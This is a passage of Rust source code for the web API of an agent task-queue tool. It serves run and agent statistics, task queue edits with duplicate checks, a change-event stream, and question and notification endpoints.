5655 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5656 solo_entered: a.solo_entered,
5657 solo_adopted: a.solo_adopted,
5658 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5659 }
5660 }
5661}
5662
5663#[derive(Debug, Serialize)]
5667struct ReviewerStatsView {
5668 agent: String,
5669 rounds: usize,
5670 seated: usize,
5671 submitted: usize,
5672 adopted: usize,
5673 unique: usize,
5674 timeouts: usize,
5675 adopted_per_round: Option<f64>,
5676 precision: Option<RateView>,
5677 unique_rate: Option<RateView>,
5678 timeout_rate: Option<RateView>,
5679}
5680
5681impl From<&stats::ReviewerStats> for ReviewerStatsView {
5682 fn from(r: &stats::ReviewerStats) -> Self {
5683 Self {
5684 agent: r.agent.clone(),
5685 rounds: r.rounds,
5686 seated: r.seated,
5687 submitted: r.submitted,
5688 adopted: r.adopted,
5689 unique: r.unique,
5690 timeouts: r.timeouts,
5691 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5692 precision: RateView::of(r.adopted, r.submitted),
5693 unique_rate: RateView::of(r.unique, r.submitted),
5694 timeout_rate: RateView::of(r.timeouts, r.seated),
5695 }
5696 }
5697}
5698
5699#[derive(Debug, Serialize)]
5705struct AdvisorStatsView {
5706 agent: String,
5707 seated: usize,
5708 proposed: usize,
5709 absent: usize,
5710 faint: usize,
5711 strong: usize,
5712 reflection_rate: Option<RateView>,
5713}
5714
5715impl From<&stats::AdvisorStats> for AdvisorStatsView {
5716 fn from(a: &stats::AdvisorStats) -> Self {
5717 Self {
5718 agent: a.agent.clone(),
5719 seated: a.seated,
5720 proposed: a.proposed,
5721 absent: a.absent,
5722 faint: a.faint,
5723 strong: a.strong,
5724 reflection_rate: RateView::of(a.strong, a.proposed),
5725 }
5726 }
5727}
5728
5729#[derive(Debug, Serialize)]
5731struct E2eStatsView {
5732 rounds: usize,
5733 failures: usize,
5734 sole_detections: usize,
5735 deferred: usize,
5736 sole_rate: Option<RateView>,
5737}
5738
5739impl From<&stats::E2eStats> for E2eStatsView {
5740 fn from(e: &stats::E2eStats) -> Self {
5741 Self {
5742 rounds: e.rounds,
5743 failures: e.failures,
5744 sole_detections: e.sole_detections,
5745 deferred: e.deferred,
5746 sole_rate: RateView::of(e.sole_detections, e.failures),
5747 }
5748 }
5749}
5750
5751#[derive(Debug, Serialize)]
5759struct ReleaseBumpStatsView {
5760 merged: usize,
5761 recorded: usize,
5762 pr_opened: usize,
5763 automerge_enabled: usize,
5764 merged_directly: usize,
5765 needs_attention: usize,
5766 clean: usize,
5767 coverage_rate: Option<RateView>,
5768 automerge_rate: Option<RateView>,
5769 attention_rate: Option<RateView>,
5770}
5771
5772impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5773 fn from(b: &stats::ReleaseBumpStats) -> Self {
5774 Self {
5775 merged: b.merged,
5776 recorded: b.recorded,
5777 pr_opened: b.pr_opened,
5778 automerge_enabled: b.automerge_enabled,
5779 merged_directly: b.merged_directly,
5780 needs_attention: b.needs_attention,
5781 clean: b.clean(),
5782 coverage_rate: RateView::of(b.recorded, b.merged),
5783 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5784 attention_rate: RateView::of(b.needs_attention, b.recorded),
5785 }
5786 }
5787}
5788
5789#[derive(Debug, Serialize)]
5791struct TaskCountsView {
5792 queued: usize,
5793 running: usize,
5794 done: usize,
5795 failed: usize,
5796 held: usize,
5797 blocked: usize,
5798 parked: usize,
5799}
5800
5801impl From<crate::queue::TaskCounts> for TaskCountsView {
5802 fn from(c: crate::queue::TaskCounts) -> Self {
5803 Self {
5804 queued: c.queued,
5805 running: c.running,
5806 done: c.done,
5807 failed: c.failed,
5808 held: c.held,
5809 blocked: c.blocked,
5810 parked: c.parked,
5811 }
5812 }
5813}
5814
5815#[derive(Debug, Serialize)]
5821struct RepoSummaryView {
5822 repo: String,
5825 name: String,
5827 runs: usize,
5828 completion_rate: Option<RateView>,
5829}
5830
5831impl From<&stats::RepoStats> for RepoSummaryView {
5832 fn from(r: &stats::RepoStats) -> Self {
5833 let t = &r.stats.totals;
5834 Self {
5835 repo: r.repo.to_string_lossy().into_owned(),
5836 name: r.name.clone(),
5837 runs: t.runs,
5838 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5839 }
5840 }
5841}
5842
5843#[derive(Debug, Serialize)]
5849struct StatsView {
5850 totals: StatsTotalsView,
5851 agents: Vec<AgentStatsView>,
5853 reviewers: Vec<ReviewerStatsView>,
5855 advisors: Vec<AdvisorStatsView>,
5857 e2e: E2eStatsView,
5858 release_bumps: ReleaseBumpStatsView,
5859 queue: TaskCountsView,
5860 runs_unreadable: usize,
5870 repos: Vec<RepoSummaryView>,
5874 daily: Vec<DailyStatsView>,
5879 repo: Option<String>,
5883 retired_hidden: Vec<String>,
5887}
5888
5889#[derive(Debug, Serialize)]
5891struct DailyStatsView {
5892 date: String,
5894 runs: usize,
5895 merged: usize,
5896 ready: usize,
5897 other: usize,
5898 completion_rate: Option<RateView>,
5900}
5901
5902impl From<&stats::DayBucket> for DailyStatsView {
5903 fn from(b: &stats::DayBucket) -> Self {
5904 Self {
5905 date: b.date.to_string(),
5906 runs: b.runs,
5907 merged: b.merged,
5908 ready: b.ready,
5909 other: b.other,
5910 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5911 }
5912 }
5913}
5914
5915const STATS_DAILY_DAYS: usize = 30;
5917
5918#[derive(Debug, Default, Deserialize)]
5927#[serde(default)]
5928struct StatsQuery {
5929 repo: Option<String>,
5930 all: bool,
5932}
5933
5934async fn stats_get(
5941 State(ui): State<Arc<Ui>>,
5942 Query(q): Query<StatsQuery>,
5943) -> ApiResult<Json<StatsView>> {
5944 blocking(move || {
5945 let states: Vec<RunState> = run_ids(&ui.runs)
5946 .into_iter()
5947 .filter_map(|id| read_run(&ui.runs, &id).ok())
5948 .collect();
5949 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5950 .iter()
5951 .map(RepoSummaryView::from)
5952 .collect();
5953 let mut scoped: Vec<&RunState> = states.iter().collect();
5954 let mut collected = match &q.repo {
5955 Some(repo) => {
5956 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5957 if filtered.is_empty() {
5958 return Err(ApiError::not_found(format!(
5959 "no runs recorded against repo `{repo}`"
5960 )));
5961 }
5962 scoped = filtered.clone();
5963 stats::collect_refs(filtered)
5964 }
5965 None => stats::collect(&states),
5966 };
5967 if !q.all {
5968 let repo = q
5969 .repo
5970 .as_deref()
5971 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5972 stats::retain_current_roster(&mut collected, &repo);
5973 }
5974 let daily = stats::daily(
5975 scoped,
5976 jiff::Zoned::now().date(),
5977 &jiff::tz::TimeZone::system(),
5978 STATS_DAILY_DAYS,
5979 );
5980 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5981 Ok(Json(StatsView {
5982 totals: StatsTotalsView::from(&collected.totals),
5983 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5984 reviewers: collected
5985 .reviewers
5986 .iter()
5987 .map(ReviewerStatsView::from)
5988 .collect(),
5989 advisors: collected
5990 .advisors
5991 .iter()
5992 .map(AdvisorStatsView::from)
5993 .collect(),
5994 e2e: E2eStatsView::from(&collected.e2e),
5995 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5996 queue: TaskCountsView::from(queue_counts),
5997 runs_unreadable: runs_unreadable(&ui.runs),
5998 repos,
5999 daily: daily.iter().map(DailyStatsView::from).collect(),
6000 repo: q.repo.clone(),
6001 retired_hidden: collected.retired_hidden.clone(),
6002 }))
6003 })
6004 .await
6005}
6006
6007#[derive(Debug, Default, Deserialize)]
6010#[serde(default, deny_unknown_fields)]
6011struct HoldBody {
6012 reason: Option<String>,
6013}
6014
6015async fn queue_hold(
6016 State(ui): State<Arc<Ui>>,
6017 Path(id): Path<String>,
6018 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6019) -> ApiResult<Json<TaskView>> {
6020 let body = match body {
6024 Ok(Json(body)) => body,
6025 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6026 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6027 };
6028 let reason = body.reason.filter(|r| !r.trim().is_empty());
6029 mutate(ui, id, move |t| {
6030 t.hold_manual(reason.clone());
6031 Ok(())
6032 })
6033 .await
6034}
6035
6036async fn queue_release(
6037 State(ui): State<Arc<Ui>>,
6038 Path(id): Path<String>,
6039) -> ApiResult<Json<TaskView>> {
6040 mutate(ui, id, |t| {
6041 t.release_operator("web", None);
6042 Ok(())
6043 })
6044 .await
6045}
6046
6047#[derive(Debug, Deserialize)]
6048#[serde(deny_unknown_fields)]
6049struct AttemptLimitBody {
6050 attempt_limit: serde_json::Value,
6052}
6053
6054async fn queue_attempt_limit(
6055 State(ui): State<Arc<Ui>>,
6056 Path(id): Path<String>,
6057 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6058) -> ApiResult<Json<TaskView>> {
6059 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6060 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6061 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6062 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6063}
6064
6065#[derive(Debug, Deserialize)]
6066#[serde(deny_unknown_fields)]
6067struct ImplementersBody {
6068 implementers: u8,
6069}
6070
6071async fn queue_implementers(
6072 State(ui): State<Arc<Ui>>,
6073 Path(id): Path<String>,
6074 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6075) -> ApiResult<Json<TaskView>> {
6076 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6077 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6078}
6079
6080#[derive(Debug, Deserialize)]
6081#[serde(deny_unknown_fields)]
6082struct UrgentBody {
6083 urgent: bool,
6084}
6085
6086async fn queue_urgent(
6087 State(ui): State<Arc<Ui>>,
6088 Path(id): Path<String>,
6089 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6090) -> ApiResult<Json<TaskView>> {
6091 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6092 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6093}
6094
6095#[derive(Debug, Deserialize)]
6097#[serde(deny_unknown_fields)]
6098struct PriorityBody {
6099 priority: i32,
6100}
6101
6102async fn queue_priority(
6108 State(ui): State<Arc<Ui>>,
6109 Path(id): Path<String>,
6110 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6111) -> ApiResult<Json<TaskView>> {
6112 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6113 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6114}
6115
6116#[derive(Debug, Deserialize)]
6118#[serde(deny_unknown_fields)]
6119struct EditBody {
6120 title: String,
6121 instruction: String,
6122 #[serde(default)]
6125 force: bool,
6126}
6127
6128async fn queue_edit(
6132 State(ui): State<Arc<Ui>>,
6133 Path(id): Path<String>,
6134 body: std::result::Result<Json<EditBody>, JsonRejection>,
6135) -> ApiResult<Json<TaskView>> {
6136 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6137 let mut judged: Option<(String, PathBuf)> = None;
6141 if !body.force {
6142 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6143 let (id, text) = (id.clone(), body.instruction.clone());
6144 let (seen, hits) = blocking(move || {
6145 let id = resolve_task(&queue, &id)?;
6146 let t = queue.get(&id)?;
6147 if text == t.instruction {
6148 return Ok((None, Vec::new()));
6149 }
6150 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6151 Ok((Some((t.instruction, t.repo)), hits))
6152 })
6153 .await?;
6154 if let Some((_, repo)) = &seen {
6155 let cfg = crate::config::Config::discover(repo, None)
6156 .ok()
6157 .map(|(c, _)| c);
6158 let screened =
6159 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6160 .await
6161 .map_err(|dup| {
6162 ApiError::conflict(dup.render(
6163 "Nothing was saved. If it is not a duplicate, repeat the request \
6164 with \"force\": true.",
6165 ))
6166 })?;
6167 if let crate::dupes::Screened::Unjudged(why) = screened {
6168 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6169 }
6170 }
6171 judged = seen;
6172 }
6173 let force = body.force;
6174 mutate(ui, id, move |t| {
6175 if !force && body.instruction != t.instruction {
6176 match &judged {
6177 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6178 _ => {
6179 anyhow::bail!("the task changed while it was being checked; repeat the request")
6180 }
6181 }
6182 }
6183 t.edit(body.title.clone(), body.instruction.clone())
6184 })
6185 .await
6186}
6187
6188async fn queue_done(
6196 State(ui): State<Arc<Ui>>,
6197 Path(id): Path<String>,
6198) -> ApiResult<Json<TaskView>> {
6199 let home = ui.home.clone();
6200 mutate(ui, id, move |t| {
6201 t.succeed();
6202 crate::daemon::supersede_prior_runs(t, &home);
6210 Ok(())
6211 })
6212 .await
6213}
6214
6215async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6223 blocking(move || {
6224 let id = resolve_task(&ui.queue, &id)?;
6225 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6226 ui.queue
6227 .remove(&id, in_flight, &ui.questions)
6228 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6229 Ok(StatusCode::NO_CONTENT)
6230 })
6231 .await
6232}
6233
6234async fn mutate(
6243 ui: Arc<Ui>,
6244 id: String,
6245 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6246) -> ApiResult<Json<TaskView>> {
6247 blocking(move || {
6248 let id = resolve_task(&ui.queue, &id)?;
6249 let _claim = ui.queue.claim(&id).map_err(|e| {
6254 ApiError::conflict(format!(
6255 "{e:#} - a daemon is running this task, so it cannot be \
6256 changed from here yet; wait until it is released, then retry"
6257 ))
6258 })?;
6259 let mut task = ui.queue.get(&id)?;
6260 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6261 Ok(dup) => ApiError::conflict(dup.render(
6262 "Nothing was saved. If it is not a duplicate, repeat the request with \
6263 \"force\": true.",
6264 )),
6265 Err(e) => ApiError::bad_request_from(e),
6266 })?;
6267 ui.queue.put(&mut task)?;
6268 Ok(Json(TaskView::from(task)))
6269 })
6270 .await
6271}
6272
6273async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6281 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6282 tokio::spawn(async move {
6283 let mut ticker = tokio::time::interval(POLL);
6284 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6285 let mut stamps: Option<[Stamps; 3]> = None;
6286 loop {
6287 ticker.tick().await;
6290 let state = Arc::clone(&ui);
6291 let revisions = tokio::task::spawn_blocking(move || {
6292 let stamps = [
6293 store_stamps(state.queue.root(), false),
6294 store_stamps(&state.runs, true),
6295 store_stamps(state.talks.root(), false),
6296 ];
6297 let revisions = (
6298 stamps_revision(&stamps[0]),
6299 stamps_revision(&stamps[1]),
6300 state.questions.revision(),
6301 stamps_revision(&stamps[2]),
6302 state.notices.revision(),
6303 state.lock_loop().rev,
6307 );
6308 (revisions, stamps)
6309 })
6310 .await;
6311 let Ok((revisions, next_stamps)) = revisions else {
6312 break;
6313 };
6314 if last == Some(revisions) {
6315 continue;
6316 }
6317 let mut payload = serde_json::json!({
6318 "queue_rev": revisions.0,
6319 "runs_rev": revisions.1,
6320 "questions_rev": revisions.2,
6321 "talks_rev": revisions.3,
6322 "notifications_rev": revisions.4,
6323 "loop_rev": revisions.5,
6324 });
6325 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6326 for (index, (key, rev)) in [
6327 ("queue_delta", base.0),
6328 ("runs_delta", base.1),
6329 ("talks_delta", base.3),
6330 ]
6331 .into_iter()
6332 .enumerate()
6333 {
6334 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6335 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6337 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6338 }
6339 }
6340 }
6341 last = Some(revisions);
6342 stamps = Some(next_stamps);
6343 let Ok(event) = Event::default().event("change").json_data(payload) else {
6345 break;
6346 };
6347 if tx.send(event).await.is_err() {
6348 break;
6349 }
6350 }
6351 });
6352 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6353 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6354}
6355
6356type Stamps = HashMap<String, (u128, u64)>;
6357
6358fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6360 std::fs::read_dir(root)
6361 .into_iter()
6362 .flatten()
6363 .flatten()
6364 .filter_map(|entry| {
6365 let path = if runs {
6366 entry.path().join("run.json")
6367 } else {
6368 entry.path()
6369 };
6370 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6371 return None;
6372 }
6373 let metadata = path.metadata().ok()?;
6374 let modified = metadata
6375 .modified()
6376 .ok()?
6377 .duration_since(std::time::UNIX_EPOCH)
6378 .ok()?;
6379 let id = if runs {
6380 entry.file_name().to_string_lossy().into_owned()
6381 } else {
6382 path.file_stem()?.to_string_lossy().into_owned()
6383 };
6384 Some((id, (modified.as_nanos(), metadata.len())))
6385 })
6386 .collect()
6387}
6388
6389#[derive(Debug, Serialize)]
6390struct Delta {
6391 base: u64,
6392 changed: Vec<String>,
6393 removed: Vec<String>,
6394}
6395
6396fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6397 let mut changed: Vec<_> = next
6398 .iter()
6399 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6400 .map(|(id, _)| id.clone())
6401 .collect();
6402 let mut removed: Vec<_> = previous
6403 .keys()
6404 .filter(|id| !next.contains_key(*id))
6405 .cloned()
6406 .collect();
6407 changed.sort_unstable();
6408 removed.sort_unstable();
6409 Delta {
6410 base,
6411 changed,
6412 removed,
6413 }
6414}
6415
6416fn runs_revision(runs: &FsPath) -> u64 {
6423 stamps_revision(&store_stamps(runs, true))
6424}
6425
6426fn stamps_revision(stamps: &Stamps) -> u64 {
6430 use std::hash::{Hash as _, Hasher as _};
6431 if stamps.is_empty() {
6432 return 0;
6433 }
6434 let mut entries: Vec<_> = stamps.iter().collect();
6435 entries.sort_unstable();
6436 let mut hasher = std::hash::DefaultHasher::new();
6437 entries.hash(&mut hasher);
6438 hasher.finish().max(1)
6439}
6440
6441fn run_ids(runs: &FsPath) -> Vec<String> {
6447 let mut ids: Vec<String> = std::fs::read_dir(runs)
6448 .into_iter()
6449 .flatten()
6450 .flatten()
6451 .filter(|e| e.path().join("run.json").is_file())
6452 .map(|e| e.file_name().to_string_lossy().into_owned())
6453 .collect();
6454 ids.sort_unstable_by(|a, b| b.cmp(a));
6456 ids
6457}
6458
6459fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6461 let path = runs.join(id).join("run.json");
6462 let body =
6463 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6464 let state: RunState =
6465 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6466 run::migrate_schema(state)
6471}
6472
6473#[must_use]
6481pub fn runs_unreadable(runs: &FsPath) -> usize {
6482 run_ids(runs)
6483 .into_iter()
6484 .filter(|id| read_run(runs, id).is_err())
6485 .count()
6486}
6487
6488fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6490 if runs.join(id).join("run.json").is_file() {
6491 return Ok(id.to_owned());
6492 }
6493 pick(run_ids(runs), id, "run")
6494}
6495
6496fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6498 if queue.path_of(id).is_file() {
6499 return Ok(id.to_owned());
6500 }
6501 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6502}
6503
6504#[derive(Debug, Serialize)]
6515struct QuestionView {
6516 #[serde(flatten)]
6517 question: Question,
6518 detail_md: Vec<md::Node>,
6519 posting_view: Option<PostingView>,
6520 thread_bodies_md: Vec<Vec<md::Node>>,
6522 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6525 waiting_on_agent: bool,
6535 holder: Option<&'static str>,
6539 deputies_enabled: bool,
6543 deputy_exhausted: bool,
6546 text_delivery: crate::question_delivery::Availability,
6547 run_is_task: bool,
6550 origin_chat: Option<String>,
6553 origin_chat_closed: bool,
6555 can_consult_chat: bool,
6557}
6558
6559#[derive(Debug, Serialize)]
6560struct PostingView {
6561 before_md: Vec<md::Node>,
6562 after_md: Vec<md::Node>,
6563 fields: Vec<crate::github_text::ComparisonView>,
6564}
6565
6566fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6567 let comparison = question.posting_comparison.as_ref()?;
6568 if !comparison.matches_detail(&question.detail) {
6569 return None;
6570 }
6571 let mut ids = std::collections::BTreeSet::new();
6572 if comparison.fields.is_empty()
6573 || comparison
6574 .fields
6575 .iter()
6576 .flat_map(|f| &f.pairs)
6577 .any(|p| !ids.insert(p.id))
6578 || comparison
6579 .fields
6580 .iter()
6581 .flat_map(|f| &f.original_triggers)
6582 .any(|t| !ids.insert(t.id))
6583 {
6584 return None;
6585 }
6586 let fields = comparison
6587 .fields
6588 .iter()
6589 .map(|f| f.view(comparison.excerpt))
6590 .collect::<Option<Vec<_>>>()?;
6591 Some(PostingView {
6592 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6593 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6594 fields,
6595 })
6596}
6597
6598impl QuestionView {
6599 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6603 let base = md::ImageBase::QuestionPanel {
6604 id: question.id.clone(),
6605 };
6606 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6607 Self {
6608 detail_md: md::to_nodes(&question.detail, &base),
6609 posting_view: posting_view(&question, &base),
6610 thread_bodies_md: question
6611 .thread
6612 .iter()
6613 .map(|t| md::to_nodes(&t.body, &base))
6614 .collect(),
6615 thread_notes_md: question
6616 .thread
6617 .iter()
6618 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6619 .collect(),
6620 deputy_exhausted: store.deputy_exhausted(&question),
6621 waiting_on_agent: question.waiting_on_agent(),
6622 holder,
6623 deputies_enabled: deputies_enabled(cfg, &question),
6624 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6625 run_is_task: question.run_names_task(),
6626 origin_chat: None,
6627 origin_chat_closed: false,
6628 can_consult_chat: false,
6629 question,
6630 }
6631 }
6632
6633 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6635 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6636 self.can_consult_chat = consult.is_some();
6637 let talk =
6638 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6639 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6640 self.origin_chat = talk.map(|t| t.id);
6641 self
6642 }
6643}
6644
6645fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6649 Config::discover(repo, None).ok().map(|(c, _)| c)
6650}
6651
6652fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6654 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6655}
6656
6657fn question_views(
6660 qs: Vec<Question>,
6661 store: &ask::Questions,
6662 load: impl FnOnce() -> Option<Config>,
6663) -> Vec<QuestionView> {
6664 if qs.is_empty() {
6665 return Vec::new();
6666 }
6667 let cfg = load();
6668 qs.into_iter()
6669 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6670 .collect()
6671}
6672
6673fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6683 if !q.status.open() {
6684 return None;
6685 }
6686 if q.cwd.is_none()
6687 && q.deputy.is_none()
6688 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6689 {
6690 return crate::deputy::kind_of(q).map(|_| "nobody");
6691 }
6692 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6693 Some(_) if q.deputy.is_some() => "deputy",
6694 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6695 Some(_) => "asker",
6696 None => "nobody",
6697 })
6698}
6699
6700async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6706 blocking(move || {
6707 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6708 Ok(Json(
6709 question_views(ui.questions.list(), &ui.questions, || {
6710 deputy_config(&ui.repo)
6711 })
6712 .into_iter()
6713 .map(|v| v.with_origin(&tasks, &talks))
6714 .collect(),
6715 ))
6716 })
6717 .await
6718}
6719
6720async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6723 blocking(move || {
6724 let items = ui.notices.list();
6725 let unread = items.iter().filter(|n| n.unread()).count();
6726 Ok(Json(
6727 serde_json::json!({ "unread": unread, "items": items }),
6728 ))
6729 })
6730 .await
6731}
6732
6733fn notice_error(e: anyhow::Error) -> ApiError {
6734 ApiError::not_found(format!("{e:#}"))
6737}
6738
6739async fn notification_read(
6741 State(ui): State<Arc<Ui>>,
6742 Path(id): Path<String>,
6743) -> ApiResult<Json<Notice>> {
6744 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6745}
6746
6747async fn notification_dismiss(
6749 State(ui): State<Arc<Ui>>,
6750 Path(id): Path<String>,
6751) -> ApiResult<Json<Notice>> {
6752 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6753}
6754
6755async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6757 blocking(move || {
6758 let changed = ui.notices.mark_all_read()?;
6759 Ok(Json(serde_json::json!({ "marked": changed })))
6760 })
6761 .await
6762}
6763
6764#[derive(Debug, Default, Deserialize)]
6770#[serde(default, deny_unknown_fields)]
6771struct NewAnswer {
6772 choice: Option<String>,
6773 text: Option<String>,
6774}
6775
6776async fn question_answer(
6777 State(ui): State<Arc<Ui>>,
6778 Path(id): Path<String>,
6779 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6780) -> ApiResult<Json<QuestionView>> {
6781 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6782 let answer = match (body.choice, body.text) {
6783 (Some(c), None) => Answer::Choice(c),
6784 (None, Some(t)) => Answer::Text(t),
6785 (Some(_), Some(_)) => {
6786 return Err(ApiError::bad_request(
6787 "send either `choice` or `text`, not both",
6788 ));
6789 }
6790 (None, None) => {
6791 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6792 }
6793 };
6794
6795 blocking(move || {
6796 let id = resolve_question(&ui.questions, &id)?;
6797 let q = ui
6798 .questions
6799 .get(&id)
6800 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6801 if !q.status.open() {
6802 return Err(ApiError::conflict(format!(
6806 "question {} is already {}",
6807 q.short(),
6808 q.status.as_str()
6809 )));
6810 }
6811 let cfg = deputy_config(&ui.repo);
6815 let (q, ()) = ui
6816 .questions
6817 .update(&q.id, |r| r.answer(answer))
6818 .map_err(ApiError::bad_request_from)?;
6819 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6820 Ok(Json(
6821 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6822 ))
6823 })
6824 .await
6825}
6826
6827fn question_text_error(e: anyhow::Error) -> ApiError {
6829 let reason = e
6830 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6831 .map(|e| e.reason);
6832 let error = ApiError::bad_request_from(e);
6833 if let Some(reason) = reason {
6834 ApiError {
6835 text_reason: Some(reason),
6836 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6837 }
6838 } else {
6839 error
6840 }
6841}
6842
6843#[derive(Debug, Deserialize)]
6845#[serde(deny_unknown_fields)]
6846struct NewSay {
6847 body: String,
6848}
6849
6850async fn question_say(
6860 State(ui): State<Arc<Ui>>,
6861 Path(id): Path<String>,
6862 body: std::result::Result<Json<NewSay>, JsonRejection>,
6863) -> ApiResult<Json<QuestionView>> {
6864 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6865 blocking(move || {
6866 let id = resolve_question(&ui.questions, &id)?;
6867 let q = ui
6868 .questions
6869 .get(&id)
6870 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6871 if !q.status.open() {
6872 return Err(ApiError::conflict(format!(
6876 "question {} is already {}",
6877 q.short(),
6878 q.status.as_str()
6879 )));
6880 }
6881 let cfg = deputy_config(&ui.repo);
6884 let (q, ()) = ui
6885 .questions
6886 .update(&q.id, |r| {
6887 if body.body.trim().is_empty() {
6888 return r.say(body.body);
6889 }
6890 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6891 r.say(body.body)
6892 })
6893 .map_err(question_text_error)?;
6894 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6895 Ok(Json(
6896 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6897 ))
6898 })
6899 .await
6900}
6901
6902async fn question_consult(
6911 State(ui): State<Arc<Ui>>,
6912 Path(id): Path<String>,
6913) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6914 let (view, reclaimed) = blocking({
6915 let ui = Arc::clone(&ui);
6916 move || {
6917 let id = resolve_question(&ui.questions, &id)?;
6918 let q = ui
6919 .questions
6920 .get(&id)
